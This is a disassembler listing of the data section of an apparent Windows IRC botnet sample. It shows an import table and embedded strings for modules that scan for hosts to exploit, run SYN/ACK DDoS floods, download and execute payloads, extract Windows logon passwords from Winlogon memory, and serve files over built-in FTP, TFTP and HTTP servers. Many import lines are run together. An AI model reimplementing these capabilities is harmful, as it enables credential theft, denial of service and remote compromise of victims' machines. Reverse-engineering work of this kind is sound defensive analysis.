dword_422120	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_4129C0+19r ...
dword_422124	dd 7C830B14h	; resolved to->KERNEL32.GetLogicalDrivesdword_422128	dd 7C873A31h	; resolved to->KERNEL32.GenerateConsoleCtrlEventdword_42212C	dd 7C80A05Dh	; resolved to->KERNEL32.WaitForMultipleObjectsdword_422130	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_422134	dd 7C8312E5h	; resolved to->KERNEL32.TransactNamedPipedword_422138	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_42213C	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_422140	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtrdword_422144	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_422148	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_420690+6r
dword_42214C	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffersdword_422150	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandle					; sub_41F48C:loc_41F4E2r
dword_422154	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_422158	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_41E8E0+128r ...
dword_42215C	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_416F93+188r ...
dword_422160	dd 7C8017E5h	; resolved to->KERNEL32.GetSystemTimeAsFileTime					; sub_420497+Br
dword_422164	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_422168	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_41E06B+5Dr
dword_42216C	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_422170	dd 7C8136D7h	; resolved to->KERNEL32.TlsFreedword_422174	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Error					; sub_41EF60+79r
dword_422178	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadId					; sub_4191D0+55r ...
dword_42217C	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValue					; sub_4191D0+3Dr
dword_422180	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_422184	dd 7C812D9Fh	; resolved to->KERNEL32.TlsAllocdword_422188	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_42218C	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_422190	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_422194	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_41A5D9+52r ...
dword_422198	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtrdword_42219C	dd 7C801AD0h	; resolved to->KERNEL32.VirtualProtectdword_4221A0	dd 7C80B9D1h	; resolved to->KERNEL32.VirtualQuery					; sub_41C068+71r
dword_4221A4	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_41C139+344r ...
dword_4221A8	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_41C139+15Br ...
dword_4221AC	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_4221B0	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_4221B4	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_41D165+3Dr ...
dword_4221B8	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_41E06B+188r
dword_4221BC	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4221C0	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsAdword_4221C4	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsAdword_4221C8	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4221CC	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_4221D0	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_4221D4	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_41E06B+196r ...
dword_4221D8	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; sub_421C8A+1CDr
		align 10h
dword_4221E0	dd 71AB3EA1h	; resolved to->WS2_32.setsockoptdword_4221E4	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_4221E8	dd 71AB3E00h	; resolved to->WS2_32.binddword_4221EC	dd 71AB88D3h	; resolved to->WS2_32.listendword_4221F0	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_404260+58Br
dword_4221F4	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_4221F8	dd 71AC1028h	; resolved to->WS2_32.acceptdword_4221FC	dd 71AB615Ah	; resolved to->WS2_32.recvdword_422200	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_404260+119r
dword_422204	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_404260+49r
dword_422208	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_404260+6Fr
dword_42220C	dd 71AB2BF4h	; resolved to->WS2_32.inet_addrdword_422210	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_404260+B0r
dword_422214	dd 71AB406Ah	; resolved to->WS2_32.connectdword_422218	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_4041CE+80r ...
dword_42221C	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_4041CE+86r
		dd 2 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: start+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: start+42o
		align 4
aScanExploitSta	db '[SCAN]: Exploit Statistics:',0 ; DATA XREF: start+11o
aScanScanNotAct	db '[SCAN]: Scan not active.',0 ; DATA XREF: sub_4010CA+42o
		align 10h
aScanCurrentIpS	db '[SCAN]: Current IP: %s.',0 ; DATA XREF: sub_4010CA+2Co
aHttpdFailedToS	db '[HTTPD]: Failed to start server, error: <%d>.',0
					; DATA XREF: sub_401141+376o
		align 4
aHttpdServerLis	db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0
					; DATA XREF: sub_401141+320o
					; sub_409806+49E0o
aFtpFailedToSta	db '[FTP]: Failed to start server, error: <%d>.',0
					; DATA XREF: sub_401141+26Bo
aFtpServerStart	db '[FTP]: Server started on Port: %d, File: %s, Request: %s.',0
					; DATA XREF: sub_401141+214o
		align 4
aTftpFailedToSt	db '[TFTP]: Failed to start server, error: <%d>.',0
					; DATA XREF: sub_401141+138o
		align 4
aTftpServerStar	db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0
					; DATA XREF: sub_401141+D8o
					; sub_409806+4850o
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_4017DA+42o
					; sub_408852+3Do
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: sub_401950+DCo
		align 4
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: sub_401950+84o
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: sub_401B65+1E0o
		align 4
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: sub_401B65+168o
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: sub_401B65+103o
aScanFailedToIn	db '[SCAN]: Failed to initialize critical section.',0
					; DATA XREF: sub_401B65+87o
		align 4
aD_SS		db '%d. %s = %s',0      ; DATA XREF: sub_401E55+35o
aAliasList	db '-[Alias List]-',0   ; DATA XREF: sub_401E55+10o
		align 4
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_401ECD+60o
		align 4
aLogsCleared_	db '[LOGS]: Cleared.',0 ; DATA XREF: sub_401F6D+1Ao
		align 4
aLogListComplet	db '[LOG]: List complete.',0 ; DATA XREF: sub_401FDF+DCo
		align 4
aLogBegin	db '[LOG]: Begin',0     ; DATA XREF: sub_401FDF+3Fo
		align 4
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_402183+12o
aWindow		db 'Window',0           ; DATA XREF: sub_4023C0+23o
					; sub_4025BC+26o
		align 4
		dd 2 dup(0)
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_422998	dd 6272h						; sub_4131EE+121o ...
aDdosSendErrorD	db '[DDoS]: Send error: <%d>.',0 ; DATA XREF: sub_402816+2B7o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_402816+122o
					; sub_409806+25A8o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_402816+108o
					; sub_409806+2594o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_402816+EEo
					; sub_409806+2580o
		align 4
aDdosDoneWithFl	db '[DDoS]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_402B61+5Bo
aDownloadBadUrl	db '[DOWNLOAD]: Bad URL, or DNS Error: %s.',0 ; DATA XREF: sub_402C2F+4B6o
		align 4
aDownloadUpda_0	db '[DOWNLOAD]: Update failed: Error executing file: %s.',0
					; DATA XREF: sub_402C2F+4A8o
		align 10h
aDownloadDown_0	db '[DOWNLOAD]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
					; DATA XREF: sub_402C2F+403o
aDownloadExecut	db '[DOWNLOAD]: Execution failed: Error executing file: %s.',0
					; DATA XREF: sub_402C2F:loc_402FE5o
aDownloadApplic	db '[DOWNLOAD]: Application succesfully executed: %s.',0
					; DATA XREF: sub_402C2F+3ACo
		align 4
asc_422B08:				; DATA XREF: sub_402C2F+346o
					; sub_405549+25Co ...
		unicode	0, < >,0
aDownloadOpenni	db '[DOWNLOAD]: Openning: %s %s.',0 ; DATA XREF: sub_402C2F+2B4o
		align 4
aDownloadDownlo	db '[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.',0
					; DATA XREF: sub_402C2F+24Eo
dbl_422B60	dq 9.765625e-4		; DATA XREF: sub_402C2F+21Dr
					; sub_402C2F:loc_402E6Cr ...
dbl_422B68	dq 4.294967296e9	; DATA XREF: sub_402C2F+215r
					; sub_402C2F+237r ...
aDownloadFilesi	db '[DOWNLOAD]: Filesize is incorrect: (%d != %d).',0
					; DATA XREF: sub_402C2F+195o
		align 10h
aDownloadUpdate	db '[DOWNLOAD]: Update: %s (%dKB transferred).',0
					; DATA XREF: sub_402C2F:loc_402D92o
		align 4
aDownloadFileDo	db '[DOWNLOAD]: File download: %s (%dKB transferred).',0
					; DATA XREF: sub_402C2F+15Co
		align 10h
aDownloadCouldn	db '[DOWNLOAD]: Couldn',27h,'t open file: %s.',0 ; DATA XREF: sub_402C2F+77o
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4031D5:loc_403218o
					; sub_407CEF+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4031D5:loc_403212o
aDisk		db 'Disk',0             ; DATA XREF: sub_4031D5:loc_40320Co
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4031D5:loc_403206o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4031D5:loc_403200o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_4031D5:loc_4031FAo
a?:					; DATA XREF: sub_4031D5+1Fo
		unicode	0, <?>,0
aFailed		db 'failed',0           ; DATA XREF: sub_403266:loc_40333Eo
					; sub_403381+2Do
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_403266+6Co
		align 4
aMainSDriveSSTo	db '[MAIN]: %s Drive (%s): %s total, %s free, %s available.',0
					; DATA XREF: sub_403381+7Bo
aMainSDriveSFai	db '[MAIN]: %s Drive (%s): Failed to stat, device not ready.',0
					; DATA XREF: sub_403381+45o
		align 4
aA		db 'A:\',0              ; DATA XREF: sub_403440+39o
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_40359E+107o
		align 4
aSS_0		db '%s\%s',0            ; DATA XREF: sub_40359E+45o
					; sub_40FAD0+195o
		align 4
aS_2		db '%s\*',0             ; DATA XREF: sub_40359E+14o
		align 4
aFindfileFilesF	db '[FINDFILE]: Files found: %d.',0 ; DATA XREF: sub_4036F0+CFo
		align 4
aFindfileSearch	db '[FINDFILE]: Searching for file: %s.',0 ; DATA XREF: sub_4036F0+66o
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_403810+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_403810+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_403810+B9o
		align 10h
aFindpassTheWin	db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:'
					; DATA XREF: sub_403C5C+6Ao
					; sub_403CEE+A3o
		db ' \\%S, User: (%S/%S).',0
		align 4
aFindpassTheW_0	db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:'
					; DATA XREF: sub_403CEE+C5o
		db ' \\%S, User: (%S/(N/A)).',0
		align 4
aFindpassFailed	db '[FINDPASS]: Failed to enable Debug Privilege.',0
					; DATA XREF: sub_403DEF:loc_403F66o
		align 4
aFindpassUnab_0	db '[FINDPASS]: Unable to find Winlogon Process ID.',0
					; DATA XREF: sub_403DEF:loc_403F3Ao
aFindpassUnable	db '[FINDPASS]: Unable to find the password in memory.',0
					; DATA XREF: sub_403DEF:loc_403F33o
		align 4
aFindpassTheW_1	db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:'
					; DATA XREF: sub_403DEF+116o
		db ' \\%S, User: (%S/(no password)).',0
		align 4
aUserdomain:				; DATA XREF: sub_403DEF+DBo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_403DEF+CDo
		unicode	0, <USERNAME>,0
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_403DEF+99o
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_403DEF+8Co
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_403DEF+7Fo
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_403DEF+72o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_403DEF+67o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_403DEF+54o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_403DEF+40o
					; sub_403DEF+160o ...
		align 4
aFindpassOnlySu	db '[FINDPASS]: Only supported on Windows NT/2000.',0
					; DATA XREF: sub_403DEF+35o
		align 4
a221Goodbye_	db '221 Goodbye.',0Ah,0 ; DATA XREF: sub_404260+542o
		align 4
aQuit		db 'QUIT',0             ; DATA XREF: sub_404260+531o
					; sub_409806+5DAo
		align 10h
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_404260+528o
		align 4
aFtpFileTransfe	db '[FTP]: File transfer complete to IP: %s (%s).',0
					; DATA XREF: sub_404260+4DCo
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_404260+4C1o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_404260+491o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_404260:loc_4046DAo
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_404260+470o
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_404260+45Eo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_404260+42Ao
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_404260+3ECo
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_404260:loc_404616o
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_404260+38Eo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_404260:loc_4045DCo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_404260+350o
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_404260:loc_40459Do
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_404260+333o
aI:					; DATA XREF: sub_404260+31Eo
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_404260+302o
aA_0:					; DATA XREF: sub_404260+2EDo
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_404260:loc_404539o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_404260+2CFo
		align 10h
off_4231E0	dd offset dword_445750	; DATA XREF: sub_404260+2BDo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_404260+2B1o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_404260:loc_4044FEo
		align 10h
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_404260+294o
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_404260:loc_4044E1o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_404260+277o
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_404260:loc_4044C4o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_404260+25Ao
		align 10h
aUser_0		db 'USER',0             ; DATA XREF: sub_404260+247o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_404260+236o
		align 10h
a220Winftpd1_2	db '220 WinFtpd 1.2',0Ah,0 ; DATA XREF: sub_404260+1BAo
		align 4
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_404807+6BBo
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404807+6A6o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_404807+68Bo
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404807+5F1o
		align 8
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_404807+5C9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404807:loc_404D88o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404807+57Ao
		align 4
aSS		db '%s%s',0             ; DATA XREF: sub_404807+523o
					; sub_40528F+E6o ...
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404807+4C5o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404807+484o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_404807+451o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404807:loc_404C1Ao
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404807+40Co
		align 4
aSS_2		db '%s%s/',0            ; DATA XREF: sub_404807+3B5o
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404807+36Co
					; sub_404807+4DAo
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_404807+33Bo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_404807+311o
					; sub_404807+463o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_404807+2E5o
aAm		db 'AM',0               ; DATA XREF: sub_404807+2C4o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_404807+2B9o
		align 4
a__0:					; DATA XREF: sub_404807+27Co
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_404807+264o
		align 8
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404807+1F0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404807+15Co
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404807+144o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404807+107o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404807+B4o
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_404807+75o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404807+3Fo
asc_4236F8:				; DATA XREF: sub_404807+1Eo
					; sub_40528F+F7o ...
		dw 0Ah
		unicode	0, <>,0
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_404FFA+8Ao
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
		align 8
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405121+E4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405121+CAo
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405121+94o
					; sub_412AEE+17Do ...
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405121+7Bo
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405121:loc_405189o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405121+61o
		align 4
